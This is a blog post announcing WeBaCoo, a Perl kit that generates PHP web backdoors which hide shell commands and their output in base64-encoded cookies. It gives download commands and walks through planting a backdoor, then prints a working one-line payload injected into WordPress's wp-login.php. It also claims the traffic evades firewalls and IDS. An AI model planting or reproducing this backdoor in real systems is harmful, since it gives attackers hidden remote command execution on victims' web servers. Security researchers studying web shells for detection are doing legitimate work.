WeBaCoo (Web Backdoor Cookie) Script-Kit – The Birth

Recently I was messing around with some PHP backdoors capable to provide a “pseudo”-terminal connection with a remote web server injected with a chunk of malicious PHP code. All the existing script and tools (such as weevely, hookworm) send the shell commands hidden in HTTP header fields, although the server’s output is printed out as part of the HTML code. Inspired from the above implementations, I thought why not sending the server’s command output using the HTTP response headers. And under these dark thoughts WeBaCoo (Web Backdoor Cookie) script-kit has been released.

The general concept is pretty simple. Initially the backdoor PHP code is generated using payloads containing main PHP system functions that operate under a basic Cookie handling mechanism. After the code injection the client can send shell commands hidden in Cookie headers obfuscated with base64 encoding. On the server side the shell command is executed and the output is transmitted back to client hidden (base64 encoded too) in Cookie headers.

WeBaCoo is written in perl and is available at github. Clone the repository:

git clone git://github.com/anestisb/WeBaCoo.git

Or download the latest version from:

http://bechtsoudis.com/data/tools/webacoo-latest.tar.gz

Let’s see two case studies in order to present WeBaCoo‘s functionalities. I will use a local burp proxy (127.0.0.1:8080) to inspect the HTTP header cookies.

1. Simple case

The first scenario involves the addition of a new PHP file with the obfuscated backdoor code in the webroot path. After the addition the client can use the termninal mode to execute commands to the server.

Initially let’s create the backdoor file using the ‘shell_exec’ system function:

Then I upload the backdoor.php in the victim server and start a “terminal” connection:

And the relative request and response recorded from burp are seen in the following screen-shots:

2. Complex case – backdooring wordpress login

WordPress familiar users know that before the login process, the server creates a Test-cookie to examine if broswer has cookies enabled. After that test cookie set I will inject the backdoor code unobfuscated. I create the PHP payload using the ‘passthru’ function and the -r (raw output) flag to get the un-obfuscated code.

Then the malicious code is injected under the Test-Cookie set. So the wp-login.php is as follow (only the crucial lines are included):

//Set a cookie now to see if they are supported by the browser.
setcookie(TEST_COOKIE, 'WP Cookie check', 0, COOKIEPATH, COOKIE_DOMAIN);
if ( SITECOOKIEPATH != COOKIEPATH )
        setcookie(TEST_COOKIE, 'WP Cookie check', 0, SITECOOKIEPATH, COOKIE_DOMAIN);
 
//My payload
if(isset($_COOKIE['cm'])){ob_start();passthru(base64_decode($_COOKIE['cm']).' 2>&1');setcookie($_COOKIE['cn'],$_COOKIE['cp'].base64_encode(ob_get_contents()).$_COOKIE['cp'], 0, SITECOOKIEPATH, COOKIE_DOMAIN);ob_end_clean();}
 
// allow plugins to override the default actions, and to add extra actions if they want
do_action( 'login_init' );
do_action( 'login_form_' . $action );

After the injection I establish a “terminal” connection to the infected server to execute my commands:

And the relative request and response recorded from burp:

As you can see the communication data are pretty stealth and will not trigger regular application firewalls and IDS/IPS setups. Although, I will appreciate your feedeback from various tests under your setups to evaluate and evolve WeBaCoo functionalities.

A. Bechtsoudis